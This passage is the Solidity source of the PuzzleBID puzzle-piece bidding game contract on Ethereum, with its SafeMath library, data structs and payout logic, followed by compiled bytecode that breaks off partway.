function getLastAddress(bytes32 _unionID) external view returns (address payable); function getRewardAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256); function getFreezeHourglass(bytes32 _unionID, bytes32 _worksID) external view returns (uint256); function getMyReport(bytes32 _unionID, bytes32 _worksID) external view returns (uint256, uint256, uint256); function getMyStatus(bytes32 _unionID, bytes32 _worksID) external view returns (uint256, uint256, uint256, uint256, uint256); function getMyWorks(bytes32 _unionID, bytes32 _worksID) external view returns (address, bytes32, uint256, uint256, uint256); function isLegalPlayer(bytes32 _unionID, address _address) external view returns (bool); function register(bytes32 _unionID, address _address, bytes32 _worksID, bytes32 _referrer) external returns (bool); function updateLastAddress(bytes32 _unionID, address payable _sender) external; function updateLastTime(bytes32 _unionID, bytes32 _worksID) external; function updateFirstBuyNum(bytes32 _unionID, bytes32 _worksID) external; function updateSecondAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external; function updateFirstAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external; function updateRewardAmount(bytes32 _unionID, bytes32 _worksID, uint256 _amount) external; function updateMyWorks( bytes32 _unionID, address _address, bytes32 _worksID, uint256 _totalInput, uint256 _totalOutput ) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library Datasets { struct Player { address[] ethAddress; bytes32 referrer; address payable lastAddress; uint256 time; } struct MyWorks { address ethAddress; bytes32 worksID; uint256 totalInput; uint256 totalOutput; uint256 time; } struct Works { bytes32 worksID; bytes32 artistID; uint8 debrisNum; uint256 price; uint256 beginTime; uint256 endTime; bool isPublish; bytes32 lastUnionID; } struct Debris { uint8 debrisID; bytes32 worksID; uint256 initPrice; uint256 lastPrice; uint256 buyNum; address payable firstBuyer; address payable lastBuyer; bytes32 firstUnionID; bytes32 lastUnionID; uint256 lastTime; } struct Rule { uint8 firstBuyLimit; uint256 freezeGap; uint256 protectGap; uint256 increaseRatio; uint256 discountGap; uint256 discountRatio; uint8[3] firstAllot; uint8[3] againAllot; uint8[3] lastAllot; } struct PlayerCount { uint256 lastTime; uint256 firstBuyNum; uint256 firstAmount; uint256 secondAmount; uint256 rewardAmount; } } /** * @title PuzzleBID Game Main Contract * @dev http://www.puzzlebid.com/ * @author PuzzleBID Game Team * @dev Simon<<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c4b2b7adb6bdbca984f5f2f7eaa7aba9">[email&#160;protected]</a>> */ contract PuzzleBID { using SafeMath for *; string constant public name = "PuzzleBID Game"; string constant public symbol = "PZB"; TeamInterface private team; PlatformInterface private platform; ArtistInterface private artist; WorksInterface private works; PlayerInterface private player; constructor( address _teamAddress, address _platformAddress, address _artistAddress, address _worksAddress, address _playerAddress ) public { require( _teamAddress != address(0) && _platformAddress != address(0) && _artistAddress != address(0) && _worksAddress != address(0) && _playerAddress != address(0) ); team = TeamInterface(_teamAddress); platform = PlatformInterface(_platformAddress); artist = ArtistInterface(_artistAddress); works = WorksInterface(_worksAddress); player = PlayerInterface(_playerAddress); } function() external payable { revert(); } event OnUpgrade( address indexed _teamAddress, address indexed _platformAddress, address indexed _artistAddress, address _worksAddress, address _playerAddress ); modifier isHuman() { address _address = msg.sender; uint256 _size; assembly {_size := extcodesize(_address)} require(_size == 0, "sorry humans only"); _; } modifier checkPlay(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID) { require(msg.value > 0); require(works.hasWorks(_worksID)); require(works.hasDebris(_worksID, _debrisID)); require(works.isGameOver(_worksID) == false); require(works.isPublish(_worksID) && works.isStart(_worksID)); require(works.isProtect(_worksID, _debrisID) == false); require(player.isFreeze(_unionID, _worksID) == false); if(player.getFirstBuyNum(_unionID, _worksID).add(1) > works.getFirstBuyLimit(_worksID)) { require(works.isSecond(_worksID, _debrisID)); } require(msg.value >= works.getDebrisPrice(_worksID, _debrisID)); _; } modifier onlyAdmin() { require(team.isAdmin(msg.sender)); _; } function upgrade( address _teamAddress, address _platformAddress, address _artistAddress, address _worksAddress, address _playerAddress ) external onlyAdmin() { require( _teamAddress != address(0) && _platformAddress != address(0) && _artistAddress != address(0) && _worksAddress != address(0) && _playerAddress != address(0) ); team = TeamInterface(_teamAddress); platform = PlatformInterface(_platformAddress); artist = ArtistInterface(_artistAddress); works = WorksInterface(_worksAddress); player = PlayerInterface(_playerAddress); emit OnUpgrade(_teamAddress, _platformAddress, _artistAddress, _worksAddress, _playerAddress); } function startPlay(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, bytes32 _referrer) isHuman() checkPlay(_worksID, _debrisID, _unionID) external payable { player.register(_unionID, msg.sender, _worksID, _referrer); uint256 lastPrice = works.getLastPrice(_worksID, _debrisID); bytes32 lastUnionID = works.getLastUnionId(_worksID, _debrisID); works.updateDebris(_worksID, _debrisID, _unionID, msg.sender); player.updateLastTime(_unionID, _worksID); platform.updateTurnover(_worksID, msg.value); platform.updateAllTurnover(msg.value); if(works.isSecond(_worksID, _debrisID)) { secondPlay(_worksID, _debrisID, _unionID, lastUnionID, lastPrice); } else { works.updateBuyNum(_worksID, _debrisID); firstPlay(_worksID, _debrisID, _unionID); } if(works.isFinish(_worksID, _unionID)) { works.finish(_worksID, _unionID); finishGame(_worksID); collectWorks(_worksID, _unionID); } } function firstPlay(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID) private { works.updateFirstBuyer(_worksID, _debrisID, _unionID, msg.sender); player.updateFirstBuyNum(_unionID, _worksID); player.updateFirstAmount(_unionID, _worksID, msg.value); uint8[3] memory firstAllot = works.getAllot(_worksID, 0); artist.getAddress(works.getArtistId(_worksID)).transfer(msg.value.mul(firstAllot[0]) / 100); platform.getFoundAddress().transfer(msg.value.mul(firstAllot[1]) / 100); works.updatePools(_worksID, msg.value.mul(firstAllot[2]) / 100); platform.deposit.value(msg.value.mul(firstAllot[2]) / 100)(_worksID); } function secondPlay(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, bytes32 _oldUnionID, uint256 _oldPrice) private { if(0 == player.getSecondAmount(_unionID, _worksID)) { works.updateSecondUnionIds(_worksID, _unionID); } player.updateSecondAmount(_unionID, _worksID, msg.value); uint8[3] memory againAllot = works.getAllot(_worksID, 1); uint256 lastPrice = works.getLastPrice(_worksID, _debrisID); uint256 commission = lastPrice.mul(againAllot[1]) / 100; platform.getFoundAddress().transfer(commission); lastPrice = lastPrice.sub(commission); if(lastPrice > _oldPrice) { uint256 overflow = lastPrice.sub(_oldPrice); artist.getAddress(works.getArtistId(_worksID)).transfer(overflow.mul(againAllot[0]) / 100); works.updatePools(_worksID, overflow.mul(againAllot[2]) / 100); platform.deposit.value(overflow.mul(againAllot[2]) / 100)(_worksID); player.getLastAddress(_oldUnionID).transfer( lastPrice.sub(overflow.mul(againAllot[0]) / 100) .sub(overflow.mul(againAllot[2]) / 100) ); } else { player.getLastAddress(_oldUnionID).transfer(lastPrice); } } function finishGame(bytes32 _worksID) private { uint8 lastAllot = works.getAllot(_worksID, 2, 0); platform.transferTo(msg.sender, works.getPools(_worksID).mul(lastAllot) / 100); firstSend(_worksID); secondSend(_worksID); } function collectWorks(bytes32 _worksID, bytes32 _unionID) private { player.updateMyWorks(_unionID, msg.sender, _worksID, 0, 0); } function firstSend(bytes32 _worksID) private { uint8 i; bytes32[] memory tmpFirstUnionId = works.getFirstUnionIds(_worksID); address tmpAddress; uint256 tmpAmount; uint8 lastAllot = works.getAllot(_worksID, 2, 1); for(i=0; i<tmpFirstUnionId.length; i++) { tmpAddress = player.getLastAddress(tmpFirstUnionId[i]); tmpAmount = player.getFirstAmount(tmpFirstUnionId[i], _worksID); tmpAmount = works.getPools(_worksID).mul(lastAllot).mul(tmpAmount) / 100 / works.getPrice(_worksID); platform.transferTo(tmpAddress, tmpAmount); } } function secondSend(bytes32 _worksID) private { uint8 i; bytes32[] memory tmpSecondUnionId = works.getSecondUnionIds(_worksID); address tmpAddress; uint256 tmpAmount; uint8 lastAllot = works.getAllot(_worksID, 2, 2); for(i=0; i<tmpSecondUnionId.length; i++) { tmpAddress = player.getLastAddress(tmpSecondUnionId[i]); tmpAmount = player.getSecondAmount(tmpSecondUnionId[i], _worksID); tmpAmount = works.getPools(_worksID).mul(lastAllot).mul(tmpAmount) / 100 / (platform.getTurnover(_worksID).sub(works.getPrice(_worksID))); platform.transferTo(tmpAddress, tmpAmount); } } function getNowTime() external view returns (uint256) { return now; } }
0x608060405260043610610067576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde031461006c5780631761af6d146100fc5780635d73e2bf146101cd57806395d89b411461021c5780639b819d38146102ac575b600080fd5b34801561007857600080fd5b506100816102d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100c15780820151818401526020810190506100a6565b50505050905090810190601f1680156100ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010857600080fd5b506101cb600480360360a081101561011f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610310565b005b61021a600480360360808110156101e357600080fd5b8101908080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050610757565b005b34801561022857600080fd5b50610231611a95565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610271578082015181840152602081019050610256565b50505050905090810190601f16801561029e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b857600080fd5b506102c1611ace565b6040518082815260200191505060405180910390f35b6040805190810160405280600e81526020017f50757a7a6c654249442047616d6500000000000000000000000000000000000081525081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103ca57600080fd5b505afa1580156103de573d6000803e3d6000fd5b505050506040513d60208110156103f457600080fd5b8101908080519060200190929190505050151561041057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561047a5750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156104b35750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156104ec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156105255750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b151561053057600080fd5b846000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f5f42ad77988535fa1c252fa6d1e290387cce63ff15e152c9ff0d556ca6e3353f8585604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a45050505050565b60003390506000813b90506000811415156107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b8585856000341115156107ec57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad7fff7c846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d60208110156108a557600080fd5b810190808051906020019092919050505015156108c157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637b51c46384846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b15801561095e57600080fd5b505afa158015610972573d6000803e3d6000fd5b505050506040513d602081101561098857600080fd5b810190808051906020019092919050505015156109a457600080fd5b60001515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c6f48866856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015610a3757600080fd5b505afa158015610a4b573d6000803e3d6000fd5b505050506040513d6020811015610a6157600080fd5b81019080805190602001909291905050501515141515610a8057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166242a3be846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015610b0e57600080fd5b505afa158015610b22573d6000803e3d6000fd5b505050506040513d6020811015610b3857600080fd5b81019080805190602001909291905050508015610c1b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d5c84cd846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015610bdf57600080fd5b505afa158015610bf3573d6000803e3d6000fd5b505050506040513d6020811015610c0957600080fd5b81019080805190602001909291905050505b1515610c2657600080fd5b60001515600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632391f0b385856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b158015610cc757600080fd5b505afa158015610cdb573d6000803e3d6000fd5b505050506040513d6020811015610cf157600080fd5b81019080805190602001909291905050501515141515610d1057600080fd5b60001515600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396b1e4d483866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015610dab57600080fd5b505afa158015610dbf573d6000803e3d6000fd5b505050506040513d6020811015610dd557600080fd5b81019080805190602001909291905050501515141515610df457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c2699b1d846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d6020811015610ead57600080fd5b8101908080519060200190929190505050610fa36001600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639a2392b285886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015610f5a57600080fd5b505afa158015610f6e573d6000803e3d6000fd5b505050506040513d6020811015610f8457600080fd5b8101908080519060200190929190505050611ad690919063ffffffff16565b111561108d57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166317140bcf84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b15801561104657600080fd5b505afa15801561105a573d6000803e3d6000fd5b505050506040513d602081101561107057600080fd5b8101908080519060200190929190505050151561108c57600080fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630566bc1284846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b15801561112a57600080fd5b505afa15801561113e573d6000803e3d6000fd5b505050506040513d602081101561115457600080fd5b8101908080519060200190929190505050341015151561117357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b82fedbb88338c8a6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001945050505050602060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b505050506040513d602081101561127257600080fd5b8101908080519060200190929190505050506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639a42af488b8b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b15801561132357600080fd5b505afa158015611337573d6000803e3d6000fd5b505050506040513d602081101561134d57600080fd5b810190808051906020019092919050505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639abeddf88c8c6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b1580156113ff57600080fd5b505afa158015611413573d6000803e3d6000fd5b505050506040513d602081101561142957600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d93a64a28c8c8c336040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018460ff1660ff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050600060405180830381600087803b15801561151757600080fd5b505af115801561152b573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b2c15f298a8d6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b1580156115c857600080fd5b505af11580156115dc573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b4478d7d8c346040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b15801561167957600080fd5b505af115801561168d573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a648fec2346040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561172257600080fd5b505af1158015611736573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166317140bcf8c8c6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b1580156117d757600080fd5b505afa1580156117eb573d6000803e3d6000fd5b505050506040513d602081101561180157600080fd5b810190808051906020019092919050505015611829576118248b8b8b8486611b5e565b6118ec565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c540fb668c8c6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff16815260200192505050600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b505050506118eb8b8b8b612764565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340f19da78c8b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561198357600080fd5b505afa158015611997573d6000803e3d6000fd5b505050506040513d60208110156119ad57600080fd5b810190808051906020019092919050505015611a8857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663756bae5c8c8b6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b158015611a5c57600080fd5b505af1158015611a70573d6000803e3d6000fd5b50505050611a7d8b612fb6565b611a878b8a613279565b5b5050505050505050505050565b6040805190810160405280600381526020017f505a42000000000000000000000000000000000000000000000000000000000081525081565b600042905090565b60008183019050828110151515611b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820616464206661696c65640000000000000000000000000081525060200191505060405180910390fd5b80905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a68cfb2584876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015611bf557600080fd5b505afa158015611c09573d6000803e3d6000fd5b505050506040513d6020811015611c1f57600080fd5b810190808051906020019092919050505060001415611cea57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638202370786856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b158015611cd157600080fd5b505af1158015611ce5573d6000803e3d6000fd5b505050505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386e261c98487346040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050600060405180830381600087803b158015611d8b57600080fd5b505af1158015611d9f573d6000803e3d6000fd5b50505050611dab6142e8565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5fc32c88760016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060606040518083038186803b158015611e4657600080fd5b505afa158015611e5a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506060811015611e7f57600080fd5b810190809190505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639a42af4888886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b158015611f2857600080fd5b505afa158015611f3c573d6000803e3d6000fd5b505050506040513d6020811015611f5257600080fd5b8101908080519060200190929190505050905060006064611f92846001600381101515611f7b57fe5b602002015160ff168461337390919063ffffffff16565b811515611f9b57fe5b049050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d4be3df6040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561202257600080fd5b505afa158015612036573d6000803e3d6000fd5b505050506040513d602081101561204c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120a2573d6000803e3d6000fd5b506120b6818361341790919063ffffffff16565b9150838211156126495760006120d5858461341790919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a721600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663158641f58c6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156121a457600080fd5b505afa1580156121b8573d6000803e3d6000fd5b505050506040513d60208110156121ce57600080fd5b81019080805190602001909291905050506040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561222f57600080fd5b505afa158015612243573d6000803e3d6000fd5b505050506040513d602081101561225957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc60646122ae87600060038110151561229757fe5b602002015160ff168561337390919063ffffffff16565b8115156122b757fe5b049081150290604051600060405180830381858888f193505050501580156122e3573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663678ae6a18a606461234e88600260038110151561233757fe5b602002015160ff168661337390919063ffffffff16565b81151561235757fe5b046040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b1580156123b157600080fd5b505af11580156123c5573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b214faa5606461243287600260038110151561241b57fe5b602002015160ff168561337390919063ffffffff16565b81151561243b57fe5b048b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b15801561248e57600080fd5b505af11580156124a2573d6000803e3d6000fd5b5050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362838d8b876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561253657600080fd5b505afa15801561254a573d6000803e3d6000fd5b505050506040513d602081101561256057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc61261760646125b88860026003811015156125a157fe5b602002015160ff168661337390919063ffffffff16565b8115156125c157fe5b0461260960646125f08a60006003811015156125d957fe5b602002015160ff168861337390919063ffffffff16565b8115156125f957fe5b048861341790919063ffffffff16565b61341790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612642573d6000803e3d6000fd5b505061275a565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362838d8b866040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156126d857600080fd5b505afa1580156126ec573d6000803e3d6000fd5b505050506040513d602081101561270257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612758573d6000803e3d6000fd5b505b5050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f126281848484336040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018460ff1660ff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050600060405180830381600087803b15801561283f57600080fd5b505af1158015612853573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306f68f1282856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b1580156128f057600080fd5b505af1158015612904573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631fb97c348285346040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156129a957600080fd5b505af11580156129bd573d6000803e3d6000fd5b505050506129c96142e8565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5fc32c88560006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060606040518083038186803b158015612a6457600080fd5b505afa158015612a78573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506060811015612a9d57600080fd5b81019080919050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a721600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663158641f5876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015612b7457600080fd5b505afa158015612b88573d6000803e3d6000fd5b505050506040513d6020811015612b9e57600080fd5b81019080805190602001909291905050506040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015612bff57600080fd5b505afa158015612c13573d6000803e3d6000fd5b505050506040513d6020811015612c2957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc6064612c7e846000600381101515612c6757fe5b602002015160ff163461337390919063ffffffff16565b811515612c8757fe5b049081150290604051600060405180830381858888f19350505050158015612cb3573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d4be3df6040518163ffffffff167c0100000000000000